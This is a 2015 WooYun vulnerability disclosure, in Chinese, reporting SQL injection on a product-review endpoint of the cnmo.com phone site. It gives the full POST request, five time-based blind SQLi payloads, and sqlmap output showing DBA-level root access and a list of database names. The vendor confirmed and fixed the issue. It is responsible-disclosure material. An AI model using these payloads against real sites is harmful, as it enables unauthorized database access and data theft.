当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124703

漏洞标题:手机中国某站5处SQL注射大量数据DBA权限

相关厂商:手机中国

漏洞作者: 路人甲

提交时间:2015-07-05 17:06

修复时间:2015-08-20 14:10

公开时间:2015-08-20 14:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:16

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-05: 细节已通知厂商并且等待厂商处理中
2015-07-06: 厂商已经确认,细节仅向厂商公开
2015-07-16: 细节向核心白帽子及相关领域专家公开
2015-07-26: 细节向普通白帽子公开
2015-08-05: 细节向实习白帽子公开
2015-08-20: 细节向公众公开

简要描述:

233

详细说明:

POST /index.php?a=DianpingScoring&c=GPost HTTP/1.1
Content-Length: 378
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://product.cnmo.com/
Host: product.cnmo.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
tijiao=%cc%e1%bd%bb%b5%e3%c6%c0&author=&bbsid=&comment_content=1&disadvantage=17&excellence=555-666-0606&grade_appearance=5&grade_function=5&grade_originality=5&manu_id=1&product_id=162813&urlThis=http://product.cnmo.com/pad/162813/dianping.html

漏洞证明:

---
Parameter: grade_originality (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: tijiao=%cc%e1%bd%bb%b5%e3%c6%c0&author=&bbsid=&comment_content=1&disadvantage=17&excellence=555-666-0606&grade_appearance=5&grade_function=5&grade_originality=5 AND (SELECT * FROM (SELECT(SLEEP(5)))imYw)&manu_id=1&product_id=162813&urlThis=http://product.cnmo.com/pad/162813/dianping.html
Parameter: grade_appearance (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: tijiao=%cc%e1%bd%bb%b5%e3%c6%c0&author=&bbsid=&comment_content=1&disadvantage=17&excellence=555-666-0606&grade_appearance=5 AND (SELECT * FROM (SELECT(SLEEP(5)))ImKJ)&grade_function=5&grade_originality=5&manu_id=1&product_id=162813&urlThis=http://product.cnmo.com/pad/162813/dianping.html
Parameter: manu_id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: tijiao=%cc%e1%bd%bb%b5%e3%c6%c0&author=&bbsid=&comment_content=1&disadvantage=17&excellence=555-666-0606&grade_appearance=5&grade_function=5&grade_originality=5&manu_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))fMui)&product_id=162813&urlThis=http://product.cnmo.com/pad/162813/dianping.html
Parameter: product_id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: tijiao=%cc%e1%bd%bb%b5%e3%c6%c0&author=&bbsid=&comment_content=1&disadvantage=17&excellence=555-666-0606&grade_appearance=5&grade_function=5&grade_originality=5&manu_id=1&product_id=162813 AND (SELECT * FROM (SELECT(SLEEP(5)))tBft)&urlThis=http://product.cnmo.com/pad/162813/dianping.html
Parameter: grade_function (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: tijiao=%cc%e1%bd%bb%b5%e3%c6%c0&author=&bbsid=&comment_content=1&disadvantage=17&excellence=555-666-0606&grade_appearance=5&grade_function=5 AND (SELECT * FROM (SELECT(SLEEP(5)))YToC)&grade_originality=5&manu_id=1&product_id=162813&urlThis=http://product.cnmo.com/pad/162813/dianping.html
---
back-end DBMS: MySQL 5.0.12
current user: 'root@192.168.50.205'
current user is DBA: True
有事,太慢了,不跑了。
[16:35:52] [INFO] retrieved: 20
[16:36:01] [INFO] retrieved: information_schema
[16:38:35] [INFO] retrieved: cnmo_active
[16:40:14] [INFO] retrieved: cnmo_dealer
[16:41:48] [INFO] retrieved: cnmo_dealer_counter
[16:44:42] [INFO] retrieved: cnmo_mall
[16:46:06] [INFO] retrieved: cnmo_new_stats
[16:48:17] [INFO] retrieved:
[16:48:24] [ERROR] invalid character detected. retrying..
[16:48:24] [WARNING] increasing time delay to 3 seconds
cnmo_picture
[16:51:04] [INFO] retrieved: cnmo_product
[16:53:52] [INFO] retrieved: cnmo_s
[16:55:16] [INFO] retrieved: cnmo_stat_
应该和上一个数据库一样,参考:
WooYun: 手机中国某重要站点SQL盲注全站数据DBA权限

修复方案:

~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-06 14:09

厂商回复:

非常感谢,已经修复

最新状态:

暂无